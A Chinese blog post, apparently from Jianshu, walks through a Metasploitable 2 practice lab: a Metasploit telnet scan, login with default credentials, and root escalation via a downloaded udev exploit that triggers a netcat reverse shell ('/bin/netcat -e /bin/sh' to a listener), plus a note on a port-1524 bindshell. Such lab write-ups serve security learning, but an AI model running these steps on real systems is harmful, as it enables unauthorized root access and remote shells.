Metasploitable 2 滲透練習(xí):利用telnet滲透

方法1.

msf >use auxiliary/scanner/telnet/telnet_version

msf auxiliary(telnet_version) > show options

Module options (auxiliary/scanner/telnet/telnet_version):

Name ? ? ?Current Setting ?Required ?Description

---- ? ? ?--------------- ?-------- ?-----------

PASSWORD ? ? ? ? ? ? ? ? ? no ? ? ? ?The password for the specified username

RHOSTS ? ? ? ? ? ? ? ? ? ? yes ? ? ? The target address range or CIDR identifier

RPORT ? ? 23 ? ? ? ? ? ? ? yes ? ? ? The target port

THREADS ? 1 ? ? ? ? ? ? ? ?yes ? ? ? The number of concurrent threads

TIMEOUT ? 30 ? ? ? ? ? ? ? yes ? ? ? Timeout for the Telnet probe

USERNAME ? ? ? ? ? ? ? ? ? no ? ? ? ?The username to authenticate as

msf auxiliary(telnet_version) >set rhosts 192.168.86.129

rhosts => 192.168.86.129

msf auxiliary(telnet_version) >exploit

[*] 192.168.86.129:23 TELNET _ ? ? ? ? ? ? ? ? ?_ ? ? ? _ _ ? ? ? ?_ ? ? _ ? ? ?____ ?\x0a _ __ ___ ? ___| |_ __ _ ___ _ __ | | ___ (_) |_ __ _| |__ | | ___|___ \ \x0a| '_ ` _ \ / _ \ __/ _` / __| '_ \| |/ _ \| | __/ _` | '_ \| |/ _ \ __) |\x0a| | | | | | ?__/ || (_| \__ \ |_) | | (_) | | || (_| | |_) | | ?__// __/ \x0a|_| |_| |_|\___|\__\__,_|___/ .__/|_|\___/|_|\__\__,_|_.__/|_|\___|_____|\x0a ? ? ? ? ? ? ? ? ? ? ? ? ? ?|_| ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ?\x0a\x0a\x0aWarning: Never expose this VM to an untrusted network!\x0a\x0aContact: msfdev[at]metasploit.com\x0a\x0aLogin withmsfadmin/msfadminto get started\x0a\x0a\x0ametasploitable login:

[*] Scanned 1 of 1 hosts (100% complete)

[*] Auxiliary module execution completed

msf auxiliary(telnet_version) >

msfadmin用戶登錄:

提權(quán)(轉(zhuǎn)載):

1.打開一個終端:

netcat -vlp 4444#監(jiān)聽444端口

2.打開另一個終端:

telnet 192.168.86.129#telnet連接目標(biāo)主機(jī),以msfadmin普通用戶登錄

msfadmin@metasploitable:~$pwd

/home/msfadmin

msfadmin@metasploitable:~$ls

vulnerable

msfadmin@metasploitable:~$wget http://www.exploit-db.com/download/8572

--09:09:34-- ?http://www.exploit-db.com/download/8572

=> `8572'

Resolving www.exploit-db.com... 23.23.150.193, 23.23.129.3

Connecting to www.exploit-db.com|23.23.150.193|:80... connected.

HTTP request sent, awaiting response... 301 Moved Permanently

Location: http://www.exploit-db.com/download/8572/ [following]

--09:09:40-- ?http://www.exploit-db.com/download/8572/

=> `index.html'

Reusing existing connection to www.exploit-db.com:80.

HTTP request sent, awaiting response... 200 OK

Length: 2,768 (2.7K) [application/txt]

100%[==============================================>] 2,768 ? ? ? ? --.--K/s

09:09:45 (74.99 MB/s) - `index.html' saved [2768/2768]

msfadmin@metasploitable:~$ls

index.htmlvulnerable

msfadmin@metasploitable:~$mv index.html exploit.c

msfadmin@metasploitable:~$ls

exploit.cvulnerable

msfadmin@metasploitable:~$gcc exploit.c -o exploit

msfadmin@metasploitable:~$echo '#!/bin/sh' > /tmp/run

msfadmin@metasploitable:~$echo '/bin/netcat -e /bin/sh 192.168.86.1 4444' >> /tmp/run

msfadmin@metasploitable:~$ps -edf |grep udev

root26921 ?0 06:27 ? ? ? ? ?00:00:00 /sbin/udevd --daemon

msfadmin ?5782 ?5745 ?0 09:13 pts/1 ? ?00:00:00 grep udev

msfadmin@metasploitable:~$./exploit 2691#這里2691=2692-1

msfadmin@metasploitable:~$

ok,打開前面監(jiān)聽444端口的那個終端看看!

方法2.

這是從一個視頻教程中看到的方法,用amap掃目標(biāo)主機(jī),掃到如下信息:

然后telnet 172.16.177.128 1524就直接連接了!

視頻鏈接http://edu.aqniu.com/course/299
最后編輯于
?著作權(quán)歸作者所有,轉(zhuǎn)載或內(nèi)容合作請聯(lián)系作者
平臺聲明:文章內(nèi)容(如有圖片或視頻亦包括在內(nèi))由作者上傳并發(fā)布,文章內(nèi)容僅代表作者本人觀點(diǎn),簡書系信息發(fā)布平臺,僅提供信息存儲服務(wù)。
  • 序言:七十年代末,一起剝皮案震驚了整個濱河市,隨后出現(xiàn)的幾起案子,更是在濱河造成了極大的恐慌,老刑警劉巖,帶你破解...
    沈念sama閱讀 228,936評論 6 535
  • 序言:濱河連續(xù)發(fā)生了三起死亡事件,死亡現(xiàn)場離奇詭異,居然都是意外死亡,警方通過查閱死者的電腦和手機(jī),發(fā)現(xiàn)死者居然都...
    沈念sama閱讀 98,744評論 3 421
  • 文/潘曉璐 我一進(jìn)店門,熙熙樓的掌柜王于貴愁眉苦臉地迎上來,“玉大人,你說我怎么就攤上這事。” “怎么了?”我有些...
    開封第一講書人閱讀 176,879評論 0 381
  • 文/不壞的土叔 我叫張陵,是天一觀的道長。 經(jīng)常有香客問我,道長,這世上最難降的妖魔是什么? 我笑而不...
    開封第一講書人閱讀 63,181評論 1 315
  • 正文 為了忘掉前任,我火速辦了婚禮,結(jié)果婚禮上,老公的妹妹穿的比我還像新娘。我一直安慰自己,他們只是感情好,可當(dāng)我...
    茶點(diǎn)故事閱讀 71,935評論 6 410
  • 文/花漫 我一把揭開白布。 她就那樣靜靜地躺著,像睡著了一般。 火紅的嫁衣襯著肌膚如雪。 梳的紋絲不亂的頭發(fā)上,一...
    開封第一講書人閱讀 55,325評論 1 324
  • 那天,我揣著相機(jī)與錄音,去河邊找鬼。 笑死,一個胖子當(dāng)著我的面吹牛,可吹牛的內(nèi)容都是我干的。 我是一名探鬼主播,決...
    沈念sama閱讀 43,384評論 3 443
  • 文/蒼蘭香墨 我猛地睜開眼,長吁一口氣:“原來是場噩夢啊……” “哼!你這毒婦竟也來了?” 一聲冷哼從身側(cè)響起,我...
    開封第一講書人閱讀 42,534評論 0 289
  • 序言:老撾萬榮一對情侶失蹤,失蹤者是張志新(化名)和其女友劉穎,沒想到半個月后,有當(dāng)?shù)厝嗽跇淞掷锇l(fā)現(xiàn)了一具尸體,經(jīng)...
    沈念sama閱讀 49,084評論 1 335
  • 正文 獨(dú)居荒郊野嶺守林人離奇死亡,尸身上長有42處帶血的膿包…… 初始之章·張勛 以下內(nèi)容為張勛視角 年9月15日...
    茶點(diǎn)故事閱讀 40,892評論 3 356
  • 正文 我和宋清朗相戀三年,在試婚紗的時候發(fā)現(xiàn)自己被綠了。 大學(xué)時的朋友給我發(fā)了我未婚夫和他白月光在一起吃飯的照片。...
    茶點(diǎn)故事閱讀 43,067評論 1 371
  • 序言:一個原本活蹦亂跳的男人離奇死亡,死狀恐怖,靈堂內(nèi)的尸體忽然破棺而出,到底是詐尸還是另有隱情,我是刑警寧澤,帶...
    沈念sama閱讀 38,623評論 5 362
  • 正文 年R本政府宣布,位于F島的核電站,受9級特大地震影響,放射性物質(zhì)發(fā)生泄漏。R本人自食惡果不足惜,卻給世界環(huán)境...
    茶點(diǎn)故事閱讀 44,322評論 3 347
  • 文/蒙蒙 一、第九天 我趴在偏房一處隱蔽的房頂上張望。 院中可真熱鬧,春花似錦、人聲如沸。這莊子的主人今日做“春日...
    開封第一講書人閱讀 34,735評論 0 27
  • 文/蒼蘭香墨 我抬頭看了看天上的太陽。三九已至,卻和暖如春,著一層夾襖步出監(jiān)牢的瞬間,已是汗流浹背。 一陣腳步聲響...
    開封第一講書人閱讀 35,990評論 1 289
  • 我被黑心中介騙來泰國打工, 沒想到剛下飛機(jī)就差點(diǎn)兒被人妖公主榨干…… 1. 我叫王不留,地道東北人。 一個月前我還...
    沈念sama閱讀 51,800評論 3 395
  • 正文 我出身青樓,卻偏偏與公主長得像,于是被迫代替她去往敵國和親。 傳聞我的和親對象是個殘疾皇子,可洞房花燭夜當(dāng)晚...
    茶點(diǎn)故事閱讀 48,084評論 2 375

推薦閱讀更多精彩內(nèi)容

  • 一 漏洞及漏洞發(fā)掘方法 漏洞,是指在硬件、軟件、協(xié)議實(shí)現(xiàn)或系統(tǒng)安全策略上存在缺陷,攻擊者能夠在未授權(quán)的情況下對系統(tǒng)...
    kaitoulee閱讀 15,294評論 0 30
  • http://192.168.136.131/sqlmap/mysql/get_int.php?id=1 當(dāng)給sq...
    xuningbo閱讀 10,376評論 2 22
  • 轉(zhuǎn)自:http://www.freebuf.com/sectool/105524.html 本文為作者總結(jié)自己在滲...
    許安念安閱讀 5,592評論 0 10
  • 開始工作 當(dāng)虛擬系統(tǒng)啟動之后,使用用戶名msfadmin,和密碼msfadmin登陸。使用shell運(yùn)行ifcon...
    linkally閱讀 2,391評論 0 0
  • 白馬容成與一眾好友道別完,決定回墨染山。她已經(jīng)好久不見師父師娘,很是想念。離開墨染山的時候,林泊如交托之事如今都已...
    莎莫阿姨閱讀 241評論 0 0